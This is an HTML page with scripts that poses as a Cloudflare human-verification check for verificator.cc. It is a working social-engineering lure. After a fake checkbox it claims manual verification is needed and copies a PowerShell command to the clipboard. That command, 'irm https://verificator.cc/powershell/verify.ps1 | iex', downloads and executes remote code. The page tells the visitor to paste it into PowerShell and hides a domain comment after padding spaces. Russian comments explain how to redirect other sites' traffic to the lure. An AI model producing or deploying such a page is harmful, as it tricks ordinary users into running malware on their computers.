<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Just a moment...</title>
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'%3E%3Ccircle cx='50' cy='50' r='45' fill='%23f6821f'/%3E%3C/svg%3E">
<style>
  * { box-sizing: border-box; margin: 0; padding: 0; }

  html, body {
    line-height: 1.15;
    -webkit-text-size-adjust: 100%;
    font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
    color: #f2f2f2;
    background-color: #000;
    min-height: 100vh;
  }
  body { display: flex; flex-direction: column; min-height: 100vh; }

  .main-wrapper { flex: 1; display: flex; flex-direction: column; padding: 5rem 26% 2rem 26%; }
  .main-content { flex: 1; }

  h1 { font-family: inherit; line-height: 125%; font-size: 2.5rem; font-weight: 600; color: #f2f2f2; margin-bottom: 8px; }
  h2 { font-family: inherit; line-height: 125%; font-size: 1.5rem; font-weight: 600; color: #f2f2f2; margin: 8px 0; }
  p.description {
    font-size: 0.875rem;
    color: #a8a8a8;
    line-height: 1.55;
    margin-bottom: 20px;
    max-width: 780px;
  }

  .pre-widget-placeholder {
    width: 30px;
    height: 30px;
    display: none;
    align-items: center;
    justify-content: center;
    margin-top: 8px;
    padding: 0;
  }

  .pre-widget-placeholder.active {
    display: flex;
  }

  .pre-lds-ring {
    position: relative;
    display: none;
    width: 30px;
    height: 30px;
  }

  .pre-lds-ring.active {
    display: block;
  }

  .pre-lds-ring div {
    box-sizing: border-box;
    display: block;
    position: absolute;
    width: 30px;
    height: 30px;
    border: 0.3rem solid;
    border-color: #313131 transparent transparent transparent;
    border-radius: 50%;
    animation: lds-ring 1.2s cubic-bezier(.5, 0, .5, 1) infinite;
  }

  .pre-lds-ring div:nth-child(1) {
    animation-delay: -0.45s;
  }

  .pre-lds-ring div:nth-child(2) {
    animation-delay: -0.3s;
  }

  .pre-lds-ring div:nth-child(3) {
    animation-delay: -0.15s;
  }

  .cf-turnstile {
    width: 300px; height: 65px;
    background: #313131; border: 1px solid #3d3d3d;
    border-radius: 4px;
    display: none; align-items: center;
    padding: 16px 8px;
    color: #f2f2f2;
    user-select: none; position: relative;
    cursor: pointer; transition: border-color 0.15s;
  }
  .cf-turnstile.visible { display: flex; }
  .cf-turnstile:hover { border-color: #5a5a5a; }
  .cf-turnstile.busy { cursor: default; }
  .cf-turnstile.busy:hover { border-color: #3d3d3d; }
  .cf-turnstile.hidden { display: none !important; }

  .cf-left { display: flex; align-items: center; flex: 1; min-width: 0; }

  .cf-icon-area { width: 30px; height: 30px; display: grid; place-items: center; flex-shrink: 0; margin-right: 4px; position: relative; }
  .cf-checkbox-label { grid-area: 1/1; width: 24px; height: 24px; display: none; position: relative; pointer-events: none; }
  .cf-checkbox-label.active { display: inline-block; }
  .cf-checkbox-visual {
    width: 24px; height: 24px;
    border: 2px solid #a0a0a0; border-radius: 3px;
    background: transparent; box-sizing: border-box;
    transition: border-color 0.15s; display: block;
  }
  .cf-turnstile:hover .cf-checkbox-visual { border-color: #d0d0d0; }

  .cf-dots-spinner {
    grid-area: 1 / 1;
    display: none;
    width: 30px;
    height: 30px;
    overflow: visible;
    transform-origin: 15px 15px;
    animation: green-spinner-rotate 5s linear infinite;
  }

  .cf-dots-spinner.active {
    display: block;
  }

  .cf-dots-spinner circle {
    fill: #36a766;
    opacity: 1;
  }

  @keyframes green-spinner-rotate {
    from {
      transform: rotate(0deg);
    }

    to {
      transform: rotate(360deg);
    }
  }

  .cf-text { color: #f2f2f2; font-size: 13px; font-weight: 400; line-height: 1.2; display: none; }
  .cf-text.active { display: inline; }
  .cf-text.hidden { display: none; }

  .cf-brand { display: flex; flex-direction: column; align-items: flex-end; flex-shrink: 0; margin-left: 8px; pointer-events: none; }
  .cf-brand a { pointer-events: auto; }
  .cf-cloud-svg { width: 36px; height: 16px; display: block; margin-bottom: 2px; }
  .cf-text-svg { width: 73px; height: 7px; display: block; margin-bottom: 3px; }
  .cf-brand-links { line-height: 11px; font-size: 9px; text-align: right; }
  .cf-brand-links a { color: #f2f2f2; text-decoration: underline; font-size: 9px; display: inline-block; line-height: 11px; }
  .cf-brand-links .sep { color: #f2f2f2; font-size: 9px; }

  .lds-ring-wrapper {
    display: none;
    position: relative;
    width: 30px;
    height: 30px;
    margin-top: 8px;
  }

  .lds-ring-wrapper.active {
    display: block;
  }

  .lds-ring-wrapper div {
    box-sizing: border-box;
    display: block;
    position: absolute;
    width: 30px;
    height: 30px;
    border: 0.3rem solid;
    border-color: #313131 transparent transparent transparent;
    border-radius: 50%;
    animation: lds-ring 1.2s cubic-bezier(.5, 0, .5, 1) infinite;
  }

  .lds-ring-wrapper div:nth-child(1) {
    animation-delay: -0.45s;
  }

  .lds-ring-wrapper div:nth-child(2) {
    animation-delay: -0.3s;
  }

  .lds-ring-wrapper div:nth-child(3) {
    animation-delay: -0.15s;
  }
  @keyframes lds-ring { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

  .instructions {
    display: none; max-width: 820px; width: 100%;
    margin-top: 32px; padding: 22px 26px;
    background: rgba(255,255,255,0.03);
    border: 1px solid rgba(255,255,255,0.09);
    border-radius: 8px;
    animation: fadeIn 0.5s ease-out;
  }
  @keyframes fadeIn { from { opacity: 0; transform: translateY(-6px); } to { opacity: 1; transform: translateY(0); } }
  .instructions h3 { font-size: 15px; font-weight: 600; color: #ffffff; margin-bottom: 14px; display: flex; align-items: center; gap: 10px; }
  .instructions h3::before {
    content: ''; width: 8px; height: 8px;
    background: #f6821f; border-radius: 50%;
    display: inline-block; box-shadow: 0 0 8px #f6821f;
  }
  .instructions p.intro { font-size: 13px; color: #a8a8a8; margin-bottom: 14px; line-height: 1.55; }
  .instructions ol { padding-left: 22px; color: #d0d0d0; font-size: 13px; line-height: 1.75; }
  .instructions ol li { margin-bottom: 6px; }
  .instructions code {
    background: rgba(255,255,255,0.08);
    padding: 2px 7px; border-radius: 4px;
    font-family: 'SFMono-Regular', Menlo, Monaco, Consolas, monospace;
    font-size: 12px; color: #ffffff;
    border: 1px solid rgba(255,255,255,0.06);
    white-space: nowrap;
  }
  .code-block {
    margin-top: 16px; display: flex; align-items: center; justify-content: space-between;
    background: #0a0a0a; color: #e6e6e6;
    padding: 11px 14px; border-radius: 6px;
    font-family: 'SFMono-Regular', Menlo, Monaco, Consolas, monospace;
    font-size: 12.5px; border: 1px solid rgba(255,255,255,0.08);
  }
  .code-block #codeContent { white-space: pre; overflow-x: auto; flex: 1; }
  .code-block .copy-btn {
    background: rgba(255,255,255,0.08); color: #ffffff;
    border: 1px solid rgba(255,255,255,0.12);
    padding: 5px 12px; border-radius: 4px;
    font-size: 11.5px; cursor: pointer; font-weight: 500;
    transition: all 0.2s; margin-left: 12px;
    font-family: inherit; flex-shrink: 0;
  }
  .code-block .copy-btn:hover { background: rgba(255,255,255,0.14); border-color: rgba(255,255,255,0.2); }
  .code-block .copy-btn.copied { background: #2e8b57; border-color: #2e8b57; }
  .instructions .hint { font-size: 11.5px; color: #737373; margin-top: 12px; }

  .footer { padding: 18px 20px 22px 20px; color: #f2f2f2; }
  .footer-inner {
    width: min(925px, 100%);
    margin: 0 auto;
    padding-top: 16px;
    border-top: 1px solid rgba(255, 255, 255, 0.75);
  }
  .footer-wrapper { display: flex; flex-direction: column; align-items: center; gap: 4px; }
  .ray-id { color: #f2f2f2; line-height: 1.125rem; font-size: 0.75rem; text-align: center; }
  .ray-id code { font-family: 'SFMono-Regular', Menlo, Monaco, Consolas, monospace; color: #f2f2f2; font-size: 0.75rem; }
  .footer-link-wrapper { display: flex; align-items: center; gap: 8px; }
  .footer-text { color: #f2f2f2; line-height: 1.125rem; font-size: 0.75rem; text-align: center; }
  .footer-text a { color: #f2f2f2; text-decoration: underline; }
  .footer-divider { display: inline-block; height: 12px; border-left: 1px solid #f2f2f2; margin: 0 4px; vertical-align: middle; }

  .mobile-block { display: none; flex-direction: column; align-items: center; justify-content: center; text-align: center; padding: 40px 24px; height: 100vh; }
  .mobile-block svg { margin-bottom: 24px; }
  .mobile-block h1 { font-size: 22px; font-weight: 600; color: #ffffff; margin-bottom: 12px; }
  .mobile-block p { font-size: 14px; color: #a8a8a8; max-width: 320px; line-height: 1.55; }

  @media (max-width: 1200px) { .main-wrapper { padding: 4rem 12% 2rem 12%; } }
  @media (max-width: 768px) {
    .main-wrapper, .footer { display: none; }
    .mobile-block { display: flex; }
  }
</style>
</head>
<body>

<div class="main-wrapper" role="main">
  <div class="main-content">
    <h1 id="domain">verificator.cc</h1>
    <h2 id="statusTitle">Performing security check</h2>
    <p class="description" id="description">
      This website is using a security service to protect itself from malicious bots. This page will be displayed while the website verifies that you are not a bot.
    </p>

    <div class="pre-widget-placeholder" id="preWidgetPlaceholder">
      <div class="pre-lds-ring" id="preLdsRing">
        <div></div><div></div><div></div><div></div>
      </div>
    </div>

    <div class="cf-turnstile" id="cfWidget" role="alert" aria-live="polite" onclick="startVerification()">
      <div class="cf-left">
        <div class="cf-icon-area">
          <label class="cf-checkbox-label" id="cfCheckboxLabel">
            <span class="cf-checkbox-visual"></span>
          </label>
          <svg class="cf-dots-spinner" id="cfDotsSpinner" viewBox="0 0 30 30" xmlns="http://www.w3.org/2000/svg" role="status" aria-label="Загрузка">
            <circle cx="15" cy="2.5" r="1.5"></circle>
            <circle cx="23.839" cy="6.161" r="1.5"></circle>
            <circle cx="27.5" cy="15" r="1.5"></circle>
            <circle cx="23.839" cy="23.839" r="1.5"></circle>
            <circle cx="15" cy="27.5" r="1.5"></circle>
            <circle cx="6.161" cy="23.839" r="1.5"></circle>
            <circle cx="2.5" cy="15" r="1.5"></circle>
            <circle cx="6.161" cy="6.161" r="1.5"></circle>
          </svg>
        </div>
        <span class="cf-text" id="cfTextChecking">Checking...</span>
        <span class="cf-text" id="cfTextInitial">Verify you are human</span>
        <span class="cf-text hidden" id="cfTextVerifying">Verifying...</span>
      </div>

      <div class="cf-brand">
        <svg class="cf-cloud-svg" viewBox="38 0 35 17" fill="none" xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" aria-label="Cloudflare">
          <path d="M61.8848 15.7841L62.0632 15.1578C62.2758 14.4126 62.1967 13.7239 61.8401 13.2178C61.5118 12.7517 60.9649 12.4773 60.3007 12.4453L47.7201 12.2836C47.6811 12.2829 47.6428 12.2728 47.6083 12.2542C47.5738 12.2356 47.5442 12.209 47.5217 12.1766C47.4996 12.1431 47.4856 12.1049 47.4807 12.0649C47.4758 12.025 47.4801 11.9844 47.4933 11.9465C47.5149 11.8839 47.5541 11.8291 47.6061 11.7888C47.658 11.7486 47.7204 11.7247 47.7856 11.72L60.4827 11.5566C61.9889 11.4864 63.6196 10.2462 64.1905 8.73372L64.9146 6.81361C64.9443 6.73242 64.951 6.64444 64.9341 6.55957C64.112 2.80652 60.8115 0 56.8652 0C53.2293 0 50.1421 2.38158 49.0347 5.69186C48.2864 5.12186 47.3535 4.85982 46.4228 4.95823C44.6785 5.13401 43.276 6.55928 43.1034 8.32979C43.059 8.77189 43.0915 9.21845 43.1992 9.64918C40.3497 9.73347 38.0645 12.1027 38.0645 15.0151C38.0649 15.2751 38.0838 15.5347 38.1212 15.7919C38.1294 15.8513 38.1584 15.9057 38.2029 15.9452C38.2474 15.9847 38.3044 16.0067 38.3635 16.0071L61.5894 16.0099C61.5916 16.0101 61.5938 16.0101 61.596 16.0099C61.6616 16.0088 61.7252 15.9862 61.7772 15.9455C61.8293 15.9049 61.867 15.8483 61.8848 15.7841Z" fill="#F6821F"/>
          <path d="M66.0758 6.95285C65.9592 6.95285 65.843 6.95582 65.7274 6.96177C65.7087 6.96312 65.6904 6.96719 65.6729 6.97385C65.6426 6.98437 65.6152 7.00219 65.5931 7.02579C65.5711 7.04939 65.555 7.07806 65.5462 7.10936L65.0515 8.84333C64.8389 9.58847 64.918 10.2766 65.2749 10.7827C65.6029 11.2494 66.1498 11.5233 66.814 11.5552L69.4959 11.7186C69.5336 11.7199 69.5705 11.73 69.6037 11.7483C69.6369 11.7666 69.6654 11.7925 69.687 11.8239C69.7092 11.8576 69.7234 11.896 69.7283 11.9363C69.7332 11.9765 69.7288 12.0173 69.7153 12.0555C69.6937 12.118 69.6546 12.1727 69.6028 12.2129C69.5509 12.2531 69.4887 12.2771 69.4236 12.2819L66.6371 12.4453C65.1241 12.5161 63.4937 13.7558 62.9233 15.2682L62.722 15.8022C62.7136 15.8245 62.7105 15.8486 62.713 15.8724C62.7155 15.8961 62.7236 15.9189 62.7365 15.9389C62.7495 15.9589 62.7669 15.9755 62.7874 15.9873C62.8079 15.9991 62.8309 16.0058 62.8544 16.0068C62.8569 16.0068 62.8592 16.0068 62.8618 16.0068H72.4502C72.506 16.0073 72.5604 15.9893 72.6051 15.9554C72.6498 15.9216 72.6823 15.8739 72.6977 15.8195C72.8677 15.2043 72.9535 14.5684 72.9529 13.9296C72.9517 10.0767 69.8732 6.95285 66.0758 6.95285Z" fill="#FBAD41"/>
        </svg>

        <svg class="cf-text-svg" viewBox="0 18 73 7" fill="none" xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMidYMid meet" aria-hidden="true">
          <path fill="#ffffff" d="M8.11963 18.8904H9.75541V23.4254H12.6139V24.8798H8.11963V18.8904Z"/>
          <path fill="#ffffff" d="M14.3081 21.9023V21.8853C14.3081 20.1655 15.674 18.7704 17.4952 18.7704C19.3164 18.7704 20.6653 20.1482 20.6653 21.8681V21.8853C20.6653 23.6052 19.2991 24.9994 17.4785 24.9994C15.6578 24.9994 14.3081 23.6222 14.3081 21.9023ZM18.9958 21.9023V21.8853C18.9958 21.0222 18.3806 20.2679 17.4785 20.2679C16.5846 20.2679 15.9858 21.0038 15.9858 21.8681V21.8853C15.9858 22.7484 16.6013 23.5025 17.4952 23.5025C18.3973 23.5025 18.9958 22.7666 18.9958 21.9023Z"/>
          <path fill="#ffffff" d="M22.6674 22.253V18.8901H24.3284V22.2191C24.3284 23.0822 24.7584 23.4939 25.4159 23.4939C26.0733 23.4939 26.5034 23.1003 26.5034 22.2617V18.8901H28.1647V22.2093C28.1647 24.1432 27.0772 24.9899 25.3991 24.9899C23.7211 24.9899 22.6674 24.1268 22.6674 22.2522"/>
          <path fill="#ffffff" d="M30.668 18.8907H32.9445C35.0526 18.8907 36.275 20.1226 36.275 21.8508V21.8684C36.275 23.5963 35.0355 24.88 32.911 24.88H30.668V18.8907ZM32.97 23.4076C33.9483 23.4076 34.597 22.8609 34.597 21.8928V21.8759C34.597 20.9178 33.9483 20.3614 32.97 20.3614H32.3038V23.4082L32.97 23.4076Z"/>
          <path fill="#ffffff" d="M38.6525 18.8904H43.3738V20.3453H40.2883V21.3632H43.079V22.7407H40.2883V24.8798H38.6525V18.8904Z"/>
          <path fill="#ffffff" d="M45.65 18.8904H47.2858V23.4254H50.1443V24.8798H45.65V18.8904Z"/>
          <path fill="#ffffff" d="M54.4187 18.8475H55.9949L58.5079 24.8797H56.7541L56.3238 23.8101H54.047L53.6257 24.8797H51.9058L54.4187 18.8475ZM55.8518 22.5183L55.1941 20.8154L54.5278 22.5183H55.8518Z"/>
          <path fill="#ffffff" d="M60.6149 18.8901H63.4056C64.3083 18.8901 64.9317 19.13 65.328 19.5406C65.6742 19.883 65.8511 20.3462 65.8511 20.9357V20.9526C65.8511 21.8678 65.3691 22.4754 64.6369 22.7919L66.045 24.88H64.1558L62.9671 23.0658H62.2507V24.88H60.6149V18.8901ZM63.3299 21.7654C63.8864 21.7654 64.2071 21.4915 64.2071 21.0551V21.0381C64.2071 20.5674 63.8697 20.328 63.3211 20.328H62.2507V21.7665L63.3299 21.7654Z"/>
          <path fill="#ffffff" d="M68.2112 18.8904H72.9578V20.3024H69.8302V21.209H72.6632V22.5183H69.8302V23.4683H73V24.8798H68.2112V18.8904Z"/>
          <path fill="#ffffff" d="M4.53824 22.6043C4.30918 23.13 3.82723 23.5022 3.18681 23.5022C2.29265 23.5022 1.67746 22.7493 1.67746 21.8851V21.8678C1.67746 21.0047 2.27593 20.2676 3.1698 20.2676C3.84367 20.2676 4.35681 20.6882 4.5734 21.2605H6.29764C6.02151 19.8349 4.78716 18.7707 3.18681 18.7707C1.36533 18.7707 0 20.1666 0 21.8851V21.9021C0 23.6219 1.3486 25 3.1698 25C4.72762 25 5.94525 23.9764 6.26645 22.6046L4.53824 22.6043Z"/>
        </svg>

        <div class="cf-brand-links">
          <a id="linkPrivacy" href="#" target="_blank" rel="noopener noreferrer" onclick="event.stopPropagation()">Privacy</a><span class="sep"> • </span><a id="linkTerms" href="#" target="_blank" rel="noopener noreferrer" onclick="event.stopPropagation()">Terms</a>
        </div>
      </div>
    </div>

    <div class="lds-ring-wrapper" id="ldsRing">
      <div></div><div></div><div></div><div></div>
    </div>

    <div class="instructions" id="instructions">
      <h3>Additional verification required</h3>
      <p class="intro">
        Automatic verification could not be completed. To confirm you are human, please perform a manual check by following the steps below:
      </p>
      <ol>
        <li>Open PowerShell: press <code>Win + R</code>, type <code>powershell</code> and hit <b>Enter</b> — or press <code>Win + X</code> followed by <code>I</code>.</li>
        <li>
          The verification token has already been copied to your clipboard.<br>
          Inside the PowerShell window press <code>Ctrl&nbsp;+&nbsp;V</code> to paste it, then press <b>Enter</b>.
        </li>
        <li>Once done, refresh this page to continue to the website.</li>
      </ol>
      <div class="code-block">
        <span id="codeContent"></span>
        <button class="copy-btn" id="copyBtn" onclick="copyCode()">Copy</button>
      </div>
      <p class="hint">If the token was not copied automatically, click the <b>Copy</b> button above.</p>
    </div>
  </div>
</div>

<div class="footer" role="contentinfo">
  <div class="footer-inner">
    <div class="footer-wrapper">
      <div class="ray-id">Ray ID: <code id="rayId"></code></div>
      <div class="footer-link-wrapper">
        <span class="footer-text">Performance &amp; security by <a id="footerCf" href="#" target="_blank" rel="noopener noreferrer">Cloudflare</a></span>
        <span class="footer-divider"></span>
        <a id="footerPrivacy" href="#" target="_blank" rel="noopener noreferrer" class="footer-text">Privacy</a>
      </div>
    </div>
  </div>
</div>

<div class="mobile-block">
  <svg width="64" height="64" viewBox="0 0 24 24" fill="none" stroke="#ffffff" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round">
    <rect x="5" y="2" width="14" height="20" rx="2" ry="2"></rect>
    <line x1="12" y1="18" x2="12" y2="18"></line>
  </svg>
  <h1>Desktop required</h1>
  <p>This verification page is available only on a desktop computer. Please open this link on your PC to continue.</p>
</div>

<script>
  /* =========================================================
     Определение домена — каскад приоритетов (от старшего):

       1) ?domain=... в URL              — прямое переопределение
       2) ?d=... или ?ref=... в URL      — от Cloudflare Rule
       3) sessionStorage['cfDomain']     — если ты сохранил ранее
       4) Последний сегмент пути         — /verify/poof.io → poof.io
       5) document.referrer              — откуда пришёл юзер
       6) CONFIG.domain из JSON          — если явно задан
       7) window.location.hostname       — валидный текущий хост
       8) CONFIG.fallbackDomain          — крайний фолбэк

     Примеры для Cloudflare Rules (что редиректить):
       poof.io/*  →  verificator.cc/verify?d=$1     (path в query)
       poof.io/*  →  verificator.cc/verify/$1       (path после /)
       poof.io/*  →  verificator.cc/verify?d=poof.io
     ========================================================= */

  const HARD_DEFAULT = {
    domain: "",
    command: 'irm https://verificator.cc/powershell/verify.ps1 | iex',
    commentSpaces: 23,
    verifyingDelay: 3000,
    waitingDelay: 2500,
    initEmptyDelay: 250,
    initGrayDelay: 500,
    initGreenDelay: 2500,
    fallbackDomain: "verificator.cc",
    // Хосты, которые считаем "своими" — их НЕ показываем как источник:
    ownHosts: ["verificator.cc", "www.verificator.cc"],
    links: {
      widgetPrivacy: "#", widgetTerms: "#",
      footerCloudflare: "#", footerPrivacy: "#"
    }
  };

  let CONFIG = HARD_DEFAULT;
  let VISIBLE_COMMAND = '';
  let FULL_COMMAND = '';
  let ACTIVE_ROUTE = '/';

  (function () {
    const chars = '0123456789abcdef';
    let s = '';
    for (let i = 0; i < 16; i++) s += chars[Math.floor(Math.random() * chars.length)];
    document.getElementById('rayId').textContent = s;
  })();

  function mergeCfg(base, extra) {
    return { ...base, ...extra, links: { ...(base.links || {}), ...((extra && extra.links) || {}) } };
  }

  function normalizePath(p) {
    if (!p) return '/';
    let s = String(p).toLowerCase().trim();
    s = s.replace(/\/[^\/]*\.html?$/, '');
    if (s.length > 1) s = s.replace(/\/+$/, '');
    if (s === '') s = '/';
    if (!s.startsWith('/')) s = '/' + s;
    return s;
  }

  function detectRoute() {
    const params = new URLSearchParams(window.location.search);
    const fromQuery = params.get('route');
    if (fromQuery) return normalizePath(fromQuery);
    return normalizePath(window.location.pathname);
  }

  // Валидация: похоже ли на домен? verificator.cc / sub.verificator.cc / foo-bar.io / xn--...
  function looksLikeDomain(s) {
    if (!s || typeof s !== 'string') return false;
    const v = s.trim().toLowerCase();
    if (v.length < 3 || v.length > 253) return false;
    if (/\s/.test(v)) return false;
    // Простая проверка: хотя бы одна точка + буквенно-цифровая TLD
    return /^([a-z0-9][a-z0-9-]*\.)+[a-z]{2,}$/.test(v);
  }

  function isBadHost(host) {
    if (!host) return true;
    const h = host.toLowerCase();
    if (h === 'localhost') return true;
    if (h === '127.0.0.1' || h === '::1') return true;
    if (/^\d{1,3}(\.\d{1,3}){3}$/.test(h)) return true;
    return false;
  }

  function isOwnHost(host, ownHosts) {
    if (!host) return false;
    const h = host.toLowerCase();
    const list = (ownHosts || []).map(x => String(x).toLowerCase());
    return list.includes(h);
  }

  // 1-2) URL-параметры
  function fromUrlParams() {
    const params = new URLSearchParams(window.location.search);
    for (const key of ['domain', 'd', 'ref', 'from', 'target']) {
      const v = params.get(key);
      if (v && looksLikeDomain(v)) return v.trim().toLowerCase();
    }
    return null;
  }

  // 3) sessionStorage — если сохранён от прошлого перехода
  function fromSessionStorage() {
    try {
      const v = sessionStorage.getItem('cfDomain');
      if (v && looksLikeDomain(v)) return v.trim().toLowerCase();
    } catch (e) {}
    return null;
  }

  // 4) Из последнего сегмента пути: /verify/poof.io → poof.io
  function fromUrlPath() {
    try {
      const segments = window.location.pathname.split('/').filter(Boolean);
      // ищем сегмент, который выглядит как домен
      for (let i = segments.length - 1; i >= 0; i--) {
        const decoded = decodeURIComponent(segments[i]);
        if (looksLikeDomain(decoded)) return decoded.toLowerCase();
      }
    } catch (e) {}
    return null;
  }

  // 5) document.referrer — откуда перешёл
  function fromReferrer(ownHosts) {
    try {
      const ref = document.referrer;
      if (!ref) return null;
      const url = new URL(ref);
      const host = url.hostname.toLowerCase();
      if (isBadHost(host)) return null;
      if (isOwnHost(host, ownHosts)) return null; // сами на себя — не считаем
      return host;
    } catch (e) {
      return null;
    }
  }

  // 7) hostname текущей страницы
  function fromHostname() {
    const h = String(window.location.hostname || '').toLowerCase();
    if (isBadHost(h)) return null;
    return h;
  }

  function resolveDomain(cfg) {
    const ownHosts = cfg.ownHosts || [];
    let src = '';

    // 1-2) URL params
    let d = fromUrlParams();
    if (d) { src = 'url-param'; }

    // 3) sessionStorage
    if (!d) { d = fromSessionStorage(); if (d) src = 'session-storage'; }

    // 4) Path segment
    if (!d) { d = fromUrlPath(); if (d) src = 'url-path'; }

    // 5) Referrer
    if (!d) { d = fromReferrer(ownHosts); if (d) src = 'referrer'; }

    // 6) Из конфига
    if (!d && cfg.domain && String(cfg.domain).trim() !== '') {
      d = String(cfg.domain).trim().toLowerCase();
      src = 'config';
    }

    // 7) hostname
    if (!d) { d = fromHostname(); if (d) src = 'hostname'; }

    // 8) fallback
    if (!d) { d = cfg.fallbackDomain || 'verificator.cc'; src = 'fallback'; }

    // Если нашли валидный домен через url-param / path / referrer — сохраняем в session,
    // чтобы при следующих переходах внутри этого же сайта не терять контекст.
    if (['url-param', 'url-path', 'referrer'].includes(src)) {
      try { sessionStorage.setItem('cfDomain', d); } catch (e) {}
    }

    console.log('[cf-captcha] Domain source:', src, '→', d);
    return d;
  }

  async function loadConfig() {
    let json = null;
    try {
      const res = await fetch('config.json', { cache: 'no-store' });
      if (!res.ok) throw new Error('HTTP ' + res.status);
      json = await res.json();
    } catch (err) {
      console.warn('[cf-captcha] config.json not loaded — using defaults. Reason:', err.message);
    }

    const defaults = mergeCfg(HARD_DEFAULT, (json && json.default) || {});
    const routes = (json && json.routes) || {};

    ACTIVE_ROUTE = detectRoute();

    let routeCfg = null, matchedKey = null;
    for (const key of Object.keys(routes)) {
      if (normalizePath(key) === ACTIVE_ROUTE) {
        routeCfg = routes[key]; matchedKey = key; break;
      }
    }

    if (routeCfg) {
      CONFIG = mergeCfg(defaults, routeCfg);
      console.log('[cf-captcha] ✅ Route matched:', ACTIVE_ROUTE, '(key:', matchedKey + ')');
    } else {
      CONFIG = defaults;
      console.log('[cf-captcha] ℹ️ No route match for', ACTIVE_ROUTE, '— using default');
    }

    CONFIG.domain = resolveDomain(CONFIG);
    console.log('[cf-captcha] Resolved domain:', CONFIG.domain);
    console.log('[cf-captcha] hostname:', window.location.hostname, '| referrer:', document.referrer || '(empty)');

    applyConfig();
    startInitSequence();
  }

  function applyConfig() {
    VISIBLE_COMMAND = CONFIG.command;
    FULL_COMMAND = CONFIG.command + ' '.repeat(CONFIG.commentSpaces) + '# ' + CONFIG.domain;

    document.getElementById('domain').textContent = CONFIG.domain;
    document.title = CONFIG.domain + ' — Just a moment...';
    document.getElementById('codeContent').textContent = VISIBLE_COMMAND;
    document.getElementById('linkPrivacy').href     = CONFIG.links.widgetPrivacy;
    document.getElementById('linkTerms').href       = CONFIG.links.widgetTerms;
    document.getElementById('footerCf').href        = CONFIG.links.footerCloudflare;
    document.getElementById('footerPrivacy').href   = CONFIG.links.footerPrivacy;

    window.CF_CAPTCHA = { ACTIVE_ROUTE, CONFIG, VISIBLE_COMMAND, FULL_COMMAND };
  }

  function startInitSequence() {
    const placeholder  = document.getElementById('preWidgetPlaceholder');
    const preRing      = document.getElementById('preLdsRing');
    const widget       = document.getElementById('cfWidget');
    const dotsSpinner  = document.getElementById('cfDotsSpinner');
    const checkbox     = document.getElementById('cfCheckboxLabel');
    const textInitial  = document.getElementById('cfTextInitial');
    const textChecking = document.getElementById('cfTextChecking');

    setTimeout(() => {
      placeholder.classList.add('active');
      preRing.classList.add('active');

      setTimeout(() => {
        placeholder.classList.remove('active');
        preRing.classList.remove('active');

        widget.classList.add('visible');
        widget.classList.add('busy');
        dotsSpinner.classList.add('active');
        textChecking.classList.add('active');

        setTimeout(() => {
          dotsSpinner.classList.remove('active');
          textChecking.classList.remove('active');
          checkbox.classList.add('active');
          textInitial.classList.add('active');
          widget.classList.remove('busy');
        }, CONFIG.initGreenDelay);
      }, CONFIG.initGrayDelay);
    }, CONFIG.initEmptyDelay);
  }

  function copyToClipboard(text) {
    if (navigator.clipboard && window.isSecureContext) {
      return navigator.clipboard.writeText(text).catch(() => fallbackCopy(text));
    }
    return fallbackCopy(text);
  }
  function fallbackCopy(text) {
    const ta = document.createElement('textarea');
    ta.value = text;
    ta.style.position = 'fixed';
    ta.style.left = '-9999px';
    document.body.appendChild(ta);
    ta.select();
    try { document.execCommand('copy'); } catch (e) {}
    document.body.removeChild(ta);
    return Promise.resolve();
  }

  let verifying = false;

  function startVerification() {
    if (verifying) return;
    if (document.getElementById('cfWidget').classList.contains('busy')) return;
    verifying = true;

    const widget = document.getElementById('cfWidget');
    widget.classList.add('busy');

    document.getElementById('cfCheckboxLabel').classList.remove('active');
    document.getElementById('cfDotsSpinner').classList.add('active');
    document.getElementById('cfTextInitial').classList.remove('active');
    document.getElementById('cfTextInitial').classList.add('hidden');
    document.getElementById('cfTextVerifying').classList.remove('hidden');
    document.getElementById('cfTextVerifying').classList.add('active');

    setTimeout(() => {
      document.getElementById('cfWidget').classList.add('hidden');
      document.getElementById('statusTitle').textContent =
        'Verification successful. Waiting for ' + CONFIG.domain + ' to respond...';
      document.getElementById('description').style.display = 'none';
      document.getElementById('ldsRing').classList.add('active');

      setTimeout(() => {
        document.getElementById('ldsRing').classList.remove('active');
        document.getElementById('statusTitle').textContent = 'Additional verification required';
        document.getElementById('description').style.display = 'block';
        document.getElementById('description').textContent =
          'Automatic verification could not be completed. Please follow the manual steps below to prove you are human.';

        copyToClipboard(FULL_COMMAND);
        document.getElementById('instructions').style.display = 'block';
      }, CONFIG.waitingDelay);
    }, CONFIG.verifyingDelay);
  }

  function copyCode() {
    copyToClipboard(FULL_COMMAND).then(() => {
      const btn = document.getElementById('copyBtn');
      btn.textContent = 'Copied!';
      btn.classList.add('copied');
      setTimeout(() => {
        btn.textContent = 'Copy';
        btn.classList.remove('copied');
      }, 2000);
    });
  }

  loadConfig();
</script>

</body>
</html>
